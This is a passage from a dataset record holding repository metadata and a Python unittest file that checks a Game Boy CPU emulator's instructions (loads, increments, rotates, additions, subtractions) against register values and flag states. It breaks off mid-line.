like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"blanham/AsobiOtoko"},"repo_url":{"kind":"string","value":"https://github.com/blanham/AsobiOtoko"},"snapshot_id":{"kind":"string","value":"8a1674a5792fcc88e497beb40cebb0edc1bbdf03"},"revision_id":{"kind":"string","value":"1340c538293861f3cfc0bc8d0d90d8d14ce300f5"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T03:22:41.561039","string":"2021-01-18T03:22:41.561039"},"revision_date":{"kind":"timestamp","value":"2013-05-07T06:06:41","string":"2013-05-07T06:06:41"},"committer_date":{"kind":"timestamp","value":"2013-05-07T06:06:41","string":"2013-05-07T06:06:41"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from CPU import CPU\nimport unittest\n\n#parent test class, inherit from this \nclass TestCPU(unittest.TestCase):\n\tdef SetUp(self): # automatically called but can recall\n\t\tself.cpu = CPU()\n\t\tself.cpu.mmu.bios_enabled = 0\n\t\n\tdef flags_test(self, flagDict, oldFlagsReg):\n\t\tmap(lambda x: self.assertEqual(self.cpu.getFlag(x), flagDict[x]), flagDict.keys())\n\t\tsavedFlags = self.cpu['f']\n\t\tcurrentFlags = {}\n\t\tmap(lambda x: currentFlags.__setitem__(x, self.cpu.getFlag(x)), self.cpu.flags)\n\t\toldFlags = {}\n\t\tself.cpu['f'] = oldFlagsReg\n\t\tmap(lambda x: oldFlags.__setitem__(x, self.cpu.getFlag(x)), self.cpu.flags)\n\t\t#print \"CurrentFlags: \"\n\t\t#print currentFlags\n\t\t#print \"OldFlags: \"\n\t\t#print oldFlags\n\n\t\tself.cpu['f'] = savedFlags\n\t\tmap(lambda x: self.assertEqual(oldFlags[x], currentFlags[x]), filter(lambda y: y not in flagDict.keys(), oldFlags.keys()))\n\n\t\n\tdef DecTest(self, instruction, register):\n\t\timmediate = 0xa0\n\t\tself.cpu[register] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], immediate - 1)\n\t\tif len(register) == 1:\n\t\t\tself.flags_test({ 'sub': 1, 'halfcarry' : 1 }, oldFlags)\n\t\t\timmediate = 0x0\n\t\t\tself.cpu[register] = immediate\n\t\t\toldFlags = self.cpu['f']\n\t\t\tinstruction(self.cpu)\n\t\t\tself.assertEqual(self.cpu[register], (immediate - 1) & (2**(len(register)*8) - 1))\n\t\t\tself.flags_test({ 'sub': 1, 'halfcarry' : 1 }, oldFlags)\n\t\telse:\n\t\t\tself.assertEqual(self.cpu['f'], oldFlags)\n\t\t\n\tdef IncTest(self, instruction, register):\n\t\timmediate = 0xa0\n\t\tself.cpu[register] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], immediate + 1)\n\t\tif len(register) == 1:\n\t\t\tself.flags_test({ 'sub': 0, 'halfcarry' : 0 }, oldFlags)\n\t\t\timmediate = 0xff if len(register) == 1 else 0xffff\n\t\t\tself.cpu[register] = immediate\n\t\t\toldFlags = self.cpu['f']\n\t\t\tinstruction(self.cpu)\n\t\t\tself.assertEqual(self.cpu[register], (immediate + 1) & (2**(len(register)*8) - 1))\n\t\t\tself.flags_test({ 'zero' : 1, 'sub': 0, 'halfcarry' : 1 }, oldFlags)\n\t\telse:\n\t\t\tself.assertEqual(self.cpu['f'], oldFlags)\n\t\n\tdef INC_XX_mem_test(self, instruction, addressReg):\n\t\timmediate = 0xa0\n\t\taddress = 0xface\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], immediate + 1)\n\t\tself.flags_test({'sub':0, 'halfcarry':0}, oldFlags)\n\t\t\n\t\timmediate = 0xff\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], (immediate + 1) & 255)\n\t\tself.flags_test({'zero': 1, 'sub':0, 'halfcarry':1}, oldFlags)\n\t\t\n\tdef DEC_XX_mem_test(self, instruction, addressReg):\n\t\timmediate = 0xa0\n\t\taddress = 0xface\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], immediate - 1)\n\t\tself.flags_test({'sub':1, 'halfcarry':1}, oldFlags)\t\n\t\t\n\t\timmediate = 0x00\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], (immediate - 1) & 255)\n\t\tself.flags_test({'sub':1, 'halfcarry':1}, oldFlags)\t\n\t\n\tdef LD_X_n_test(self, instruction, register):\n\t\timmediate = 0b11101011\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], immediate)\n\t\tself.flags_test({}, oldFlags)\n\t\t\n\tdef RRC_X_test(self, instruction, register):\n\t\timmediate = 0b11101011\n\t\tself.cpu[register] = immediate\n\t\tself.cpu.setFlag(zero=1)\n\t\tself.cpu.setFlag(halfcarry=1)\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], ((immediate & 0x01) << 7) + (immediate >> 1))\n\t\tself.flags_test({'carry': 1, 'sub' : 0, 'halfcarry': 0, 'zero': 0}, oldFlags)\n\t\timmediate = 0b000000000\n\t\tself.cpu[register] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.setFlag(sub=1)\n\t\tself.cpu.setFlag(halfcarry=1)\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], ((immediate & 0x01) << 7) + (immediate >> 1))\n\t\tself.flags_test({'carry': 0, 'sub' : 0, 'halfcarry': 0, 'zero': 1}, oldFlags)\n\n\tdef RRC_XX_mem_test(self, instruction, addressReg):\n\t\timmediate = 0b11101011\n\t\taddress = 0x1337\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu.setFlag(zero=1)\n\t\tself.cpu.setFlag(halfcarry=1)\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], ((immediate & 0x01) << 7) + (immediate >> 1))\n\t\tself.flags_test({'carry': 1, 'sub' : 0, 'halfcarry': 0, 'zero': 0}, oldFlags)\n\t\timmediate = 0b000000000\n\t\tself.cpu[address] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.setFlag(sub=1)\n\t\tself.cpu.setFlag(halfcarry=1)\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], ((immediate & 0x01) << 7) + (immediate >> 1))\n\t\tself.flags_test({'carry': 0, 'sub' : 0, 'halfcarry': 0, 'zero': 1}, oldFlags)\n\t\n\t\t\n\tdef RLC_X_test(self, instruction, register):\n\t\timmediate = 0b11101011\n\t\tself.cpu[register] = immediate\n\t\tself.cpu.setFlags(['zero', 'sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], ((immediate << 1) & 255) + (immediate >> 7))\n\t\tself.flags_test({'carry' : 1, 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags)\n\t\timmediate = 0b00000000\n\t\tself.cpu[register] = immediate\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], ((immediate << 1) & 255) + (immediate >> 7))\n\t\tself.flags_test({'carry' : 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags)\n\n\tdef RLC_XX_mem_test(self, instruction, addressReg):\n\t\taddress = 0xface\n\t\timmediate = 0b11101011\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu.setFlags(['zero', 'sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], ((immediate << 1) & 255) + (immediate >> 7))\n\t\tself.flags_test({'carry' : 1, 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags)\n\t\timmediate = 0b00000000\n\t\tself.cpu[address] = immediate\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], ((immediate << 1) & 255) + (immediate >> 7))\n\t\tself.flags_test({'carry' : 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags)\n\n\t\t\t\t\n\t\t\n\tdef LD_XX_nn_test(self, instruction, register):\n\t\timmediate = 0xface\n\t\tself.cpu.mmu.ww(self.cpu['pc']+1, immediate)\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], immediate) \n\t\tself.flags_test({}, oldFlags)\n\t\t\n\tdef LD_XX_X_mem_test(self, instruction, addressReg, srcReg):\n\t\timmediate = 0xde\n\t\tself.cpu[addressReg] = 0xbeef\n\t\tself.cpu[srcReg] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu.mmu.rw(0xbeef), immediate)\n\t\tself.flags_test({}, oldFlags)\n\t\n\tdef LD_XX_n_mem_test(self, instruction, destAddressReg):\n\t\timmediate = 0xde\n\t\taddress = 0x1337\n\t\tself.cpu[self.cpu['pc']+1] = immediate\n\t\tself.cpu[destAddressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], immediate)\n\t\tself.flags_test({}, oldFlags)\n\t\n\tdef LD_X_nn_test(self, instruction, dest):\n\t\timmediate = 0xde\n\t\taddress = 0x1337\n\t\tself.cpu.mmu.ww(self.cpu['pc']+1, address) \n\t\tself.cpu[address] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate)\n\t\tself.flags_test({}, oldFlags)\n\t\t\n\tdef RL_X_test(self, instruction, register):\n\t\timmediate = 0xad\n\t\tself.cpu[register] = immediate\n\t\toldcarry = self.cpu.getFlag('carry')\n\t\tself.cpu.setFlags(['sub','halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], ((immediate << 1) & 255) + oldcarry)\n\t\tself.flags_test({'carry': (immediate >> 7), 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags)\n\t\timmediate = 0x0\n\t\tself.cpu[register] = immediate\n\t\tself.cpu.resetFlags(['carry'])\n\t\toldcarry = self.cpu.getFlag('carry')\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.setFlags(['sub','halfcarry'])\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], ((immediate << 1) & 255) + oldcarry)\n\t\tself.flags_test({'carry': 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags)\n\n\tdef RL_XX_mem_test(self, instruction, addressReg):\n\t\taddress = 0xeeff\n\t\timmediate = 0xad\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address \n\t\toldcarry = self.cpu.getFlag('carry')\n\t\tself.cpu.setFlags(['sub','halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], ((immediate << 1) & 255) + oldcarry)\n\t\tself.flags_test({'carry': (immediate >> 7), 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags)\n\t\timmediate = 0x0\n\t\tself.cpu[address] = immediate\n\t\tself.cpu.resetFlags(['carry'])\n\t\toldcarry = self.cpu.getFlag('carry')\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu.setFlags(['sub','halfcarry'])\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], ((immediate << 1) & 255) + oldcarry)\n\t\tself.flags_test({'carry': 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags)\n\n\t\n\tdef RR_X_test(self, instruction, register):\n\t\timmediate = 0b11010110\n\t\tself.cpu[register] = immediate\n\t\toldcarry = self.cpu.getFlag('carry')\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], (immediate >> 1) + (oldcarry << 7))\n\t\tself.flags_test({'carry': (immediate & 0x01), 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags)\n\t\timmediate = 0\n\t\tself.cpu[register] = immediate\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\tself.cpu.resetFlags(['carry'])\n\t\toldcarry = self.cpu.getFlag('carry')\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[register], (immediate >> 1) + (oldcarry << 7))\n\t\tself.flags_test({'carry': 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags)\n\n\tdef RR_XX_mem_test(self, instruction, addressReg):\n\t\taddress = 0xface\n\t\timmediate = 0b11010110\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldcarry = self.cpu.getFlag('carry')\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], (immediate >> 1) + (oldcarry << 7))\n\t\tself.flags_test({'carry': (immediate & 0x01), 'sub': 0, 'halfcarry': 0, 'zero': 0}, oldFlags)\n\t\timmediate = 0\n\t\tself.cpu[address] = immediate\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\tself.cpu.resetFlags(['carry'])\n\t\toldcarry = self.cpu.getFlag('carry')\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], (immediate >> 1) + (oldcarry << 7))\n\t\tself.flags_test({'carry': 0, 'sub': 0, 'halfcarry': 0, 'zero': 1}, oldFlags)\n\n\t\t\t\t\n\tdef ADD_X_X_test(self, instruction, reg1, reg2):\n\t\timmediate = 0x01\n\t\timmediate2 = 0x02 if (reg1 != reg2) else immediate\n\t\tself.cpu[reg1] = immediate\n\t\tself.cpu[reg2] = immediate2 \n\t\tself.cpu.setFlags(['sub', 'halfcarry', 'carry', 'zero'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[reg1], immediate + immediate2)\n\t\tself.flags_test({'carry':0, 'zero':0, 'sub':0, 'halfcarry':0}, oldFlags)\n\t\timmediate = 0xac\n\t\timmediate2 = 0xff if (reg1 != reg2) else immediate\n\t\tself.cpu[reg1] = immediate\n\t\tself.cpu[reg2] = immediate2 \n\t\tself.cpu.setFlags(['sub', 'zero'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[reg1], (immediate + immediate2) & 255)\n\t\tself.flags_test({'carry':1, 'zero':0, 'sub':0, 'halfcarry':1}, oldFlags)\n\t\t\n\t\timmediate = 0x01\n\t\timmediate2 = 0x0F if (reg1 != reg2) else immediate\n\t\tself.cpu[reg1] = immediate\n\t\tself.cpu[reg2] = immediate2 \n\t\tself.cpu.setFlags(['sub', 'carry', 'zero'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[reg1], immediate + immediate2)\n\t\tself.flags_test({'carry':0, 'zero':0, 'sub':0, 'halfcarry':(reg1 != reg2)}, oldFlags)\n\t\t\n\t\t\n\t\n\tdef ADD_XX_XX_test(self, instruction, reg1, reg2):\n\t\timmediate = 0xac\n\t\timmediate2 = 0xa0bc if (reg1 != reg2) else 0xac\n\t\tself.cpu[reg1] = immediate\n\t\tself.cpu[reg2] = immediate2\n\t\tself.cpu.setFlags(['zero', 'sub'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[reg1], (immediate + immediate2) & 65535)\n\t\tself.flags_test({'carry':0, 'sub':0, 'zero':1, 'halfcarry':1, 'carry':0}, oldFlags)\n\t\t\n\t\t\n\t\timmediate = 0xffff\n\t\timmediate2 = 0xa0 if (reg1 != reg2) else 0xffff\n\t\tself.cpu.resetFlags(['zero'])\n\t\tself.cpu.setFlags(['sub'])\n\t\tself.cpu[reg1] = immediate\n\t\tself.cpu[reg2] = immediate2\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[reg1], (immediate + immediate2) & 65535)\n\t\tself.flags_test({'carry':1, 'sub':0, 'zero':0, 'halfcarry':1, 'carry':1}, oldFlags)\n\n\t\timmediate = 0x00\n\t\timmediate2 = 0x00 \n\t\tself.cpu.resetFlags(['zero'])\n\t\tself.cpu.setFlags(['sub'])\n\t\tself.cpu[reg1] = immediate\n\t\tself.cpu[reg2] = immediate2\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[reg1], (immediate + immediate2) & 65535)\n\t\tself.flags_test({'carry':0, 'sub':0, 'zero':0, 'halfcarry':0, 'carry':0}, oldFlags)\n\t\t\n\t\t\n\tdef ADD_X_XX_mem_test(self, instruction, destReg, addressReg):\n\t\timmediate = 0xea\n\t\timmediate2 = 0xce\n\t\taddress = 0xbaaa\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[destReg] = immediate2\n\t\tself.cpu.setFlags(['sub'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255)\n\t\tself.flags_test({'carry':1, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags)\n\t\t\n\t\timmediate2 = 0x01\n\t\tself.cpu[destReg] = immediate2\n\t\tself.cpu.setFlags(['sub'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255)\n\t\tself.flags_test({'carry':0, 'sub':0, 'halfcarry':0, 'zero':0}, oldFlags)\n\t\n\t\timmediate2 = 0x06\n\t\tself.cpu[destReg] = immediate2\n\t\tself.cpu.setFlags(['sub'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255)\n\t\tself.flags_test({'carry':0, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags)\n\t\t\t\n\t\n\tdef ADC_X_XX_mem_test(self, instruction, destReg, addressReg):\n\t\timmediate = 0xef\n\t\timmediate2 = 0xce\n\t\taddress = 0xbaaa\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[destReg] = immediate2\n\t\tself.cpu.setFlags(['zero'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255)\n\t\tself.flags_test({'carry': 1, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags)\n\t\t\n\t\timmediate2 = 0x01\n\t\tself.cpu[destReg] = immediate2\n\t\tself.cpu.setFlags(['zero'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2 + 1) & 255)\n\t\tself.flags_test({'carry': 0, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags)\n\n\t\timmediate2 = (0xff - 0xef) + 1\n\t\tself.cpu[destReg] = immediate2\n\t\tself.cpu.resetFlags(['zero'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255)\n\t\tself.flags_test({'carry': 1, 'sub':0, 'halfcarry':1, 'zero':0}, oldFlags)\n\t\t#TODO: find out whether zero should be set for this or not for above case\n\t\t\t\n\t\n\tdef ADC_X_X_test(self, instruction, destReg, srcReg):\n\t\timmediate = 0xff\n\t\timmediate2 = 0xce if (destReg != srcReg) else immediate\n\t\tself.cpu[destReg] = immediate\n\t\tself.cpu[srcReg] = immediate2\n\t\tself.cpu.setFlags(['zero', 'sub'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2) & 255)\n\t\tself.flags_test({'carry': 1, 'zero': 0, 'sub':0, 'halfcarry': 1}, oldFlags)\n\t\t\n\t\timmediate = 0x01\n\t\timmediate2 = 0x05 if (destReg != srcReg) else immediate\n\t\tself.cpu.setFlags(['carry', 'zero', 'sub'])\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu[destReg] = immediate\n\t\tself.cpu[srcReg] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2 + 1))\n\t\tself.flags_test({'carry':0, 'zero':0, 'sub':0, 'halfcarry':0}, oldFlags)\n\t\t\n\t\timmediate = 0x00\n\t\timmediate2 = 0x00 if (destReg != srcReg) else immediate\n\t\tself.cpu.setFlags(['sub', 'halfcarry'])\n\t\toldFlags = self.cpu['f']\n\t\tself.cpu[destReg] = immediate\n\t\tself.cpu[srcReg] = immediate2\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], (immediate + immediate2))\n\t\tself.flags_test({'carry':0, 'zero':1, 'sub':0, 'halfcarry':0}, oldFlags)\n\t\t\t\t\n\t\n\tdef LD_X_XX_mem_test(self, instruction, destReg, addressReg):\n\t\taddress = 0xface\n\t\timmediate = 0xbe\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], immediate)\n\t\tself.flags_test({}, oldFlags)\n\t\n\tdef LDI_XX_X_mem_test(self, instruction, addressReg, srcReg):\n\t\taddress = 0xadfe\n\t\timmediate = 0x37\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu[srcReg] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], immediate)\n\t\tself.assertEqual(self.cpu[addressReg], address + 1)\n\t\tself.flags_test({}, oldFlags)\n\t\n\tdef LDI_X_XX_mem_test(self, instruction, destReg, addressReg):\n\t\taddress = 0xacfe\n\t\timmediate = 0xde\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], immediate)\n\t\tself.assertEqual(self.cpu[addressReg], address + 1)\n\t\tself.flags_test({}, oldFlags)\n\n\tdef LDD_XX_X_test(self, instruction, addressReg, srcReg):\n\t\taddress = 0xaabb\n\t\timmediate = 0xcd\n\t\tself.cpu[srcReg] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], immediate)\n\t\tself.assertEqual(self.cpu[addressReg], address - 1)\n\t\tself.flags_test({}, oldFlags)\n\n\tdef LDD_X_XX_test(self, instruction, destReg, addressReg):\n\t\taddress = 0xface\n\t\timmediate = 0xdd\n\t\tself.cpu[address] = immediate\n\t\tself.cpu[addressReg] = address\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], immediate)\n\t\tself.assertEqual(self.cpu[addressReg], address - 1)\n\t\tself.flags_test({}, oldFlags)\n\n\tdef LD_X_X_test(self, instruction, destReg, srcReg):\n\t\timmediate = 0xfc\n\t\timmediate2 = 0xaa if (destReg != srcReg) else 0xfc\n\t\tself.cpu[srcReg] = immediate\n\t\tself.cpu[destReg] = immediate2\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[destReg], immediate)\n\t\tself.flags_test({}, oldFlags)\n\n\tdef LD_XX_X_test(self, instruction, addressReg, srcReg):\n\t\tif srcReg not in ['h','l']:\n\t\t\timmediate = 0xfa\n\t\telif srcReg == 'h':\n\t\t\timmediate = 0xbe\n\t\telse:\n\t\t\timmediate = 0xef\n\t\taddress = 0xbeef\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu[srcReg] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[address], immediate)\n\t\tself.flags_test({}, oldFlags)\n\n\tdef SBC_X_X_test(self, instruction, dest, src):\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xff if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2) & 255)\n\t\tif (dest != src):\n\t\t\tself.flags_test({'carry':1, 'halfcarry':1, 'zero':0, 'sub':1}, oldFlags)\n\t\telse:\n\t\t\tself.flags_test({'carry':0, 'halfcarry':0, 'zero':1, 'sub':1}, oldFlags)\n\t\tcarry = self.cpu.getFlag('carry')\n\t\timmediate2 = 0x01 if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2 if (dest != src) else immediate\n\t\tself.cpu.resetFlags(['sub'])\n\t\tself.cpu.setFlags(['zero'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2 - carry) & 255)\n\t\tif (dest != src):\n\t\t\tself.flags_test({'carry':0, 'halfcarry': 0, 'sub':1, 'zero':0}, oldFlags)\n\t\telse:\n\t\t\tself.flags_test({'carry':0, 'halfcarry': 0, 'sub':1, 'zero':1}, oldFlags)\n\t\t\n\n\tdef SBC_X_XX_mem_test(self, instruction, dest, addressReg):\n\t\taddress = 0xacdf\n\t\timmediate = 0xbe\n\t\timmediate2 = 0xff\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu[address] = immediate2\n\t\tself.cpu[dest] = immediate\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2) & 255)\n\t\tself.flags_test({'carry':1, 'halfcarry':1, 'sub':1, 'zero':0}, oldFlags)\n\t\timmediate2 = 0x0f\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[address] = immediate2\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2 - 1) & 255)\n\t\tself.flags_test({'carry':0, 'halfcarry':1, 'sub':1, 'zero':0}, oldFlags)\n\t\t\n\n\tdef SUB_X_X_test(self, instruction, dest, src):\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xce if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2\n\t\tself.cpu.setFlags(['zero', 'halfcarry', 'carry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate - immediate2)\n\t\tself.flags_test({'carry':0, 'zero': (dest == src), 'sub':1, 'halfcarry': (dest != src)}, oldFlags) \n\t\t\n\t\t# test no half carry\n\t\timmediate = 0x0a\n\t\timmediate2 = 0xf0 if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2\n\t\tself.cpu.setFlags(['halfcarry', 'carry'])\n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2) & 255)\n\t\tself.flags_test({'carry':(dest != src), 'zero': (dest == src), 'sub':1, 'halfcarry': 0}, oldFlags) \n\t\t\t\t\n\t\t# test negative \n\t\timmediate2 = 0xff if (dest != src) else immediate\n\t\tself.cpu[dest] = immediate\n\t\tself.cpu[src] = immediate2 \n\t\toldFlags = self.cpu['f']\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], (immediate - immediate2) & 255)\n\t\tself.flags_test({'carry': (dest!=src), 'halfcarry': (dest!=src), 'sub':1, 'zero': (dest==src)}, oldFlags)\n\t\t\n\t\n\tdef SUB_X_XX_mem_test(self, instruction, dest, addressReg):\n\t\timmediate = 0xfa\n\t\timmediate2 = 0xce\n\t\taddress = 0x1337\n\t\tself.cpu[addressReg] = address\n\t\tself.cpu[address] = immediate2\n\t\tself.cpu[dest] = immediate\n\t\tinstruction(self.cpu)\n\t\tself.assertEqual(self.cpu[dest], immediate - immediate2)\n\t\tself.assertEqual(self.cpu.getFlag('carry'), 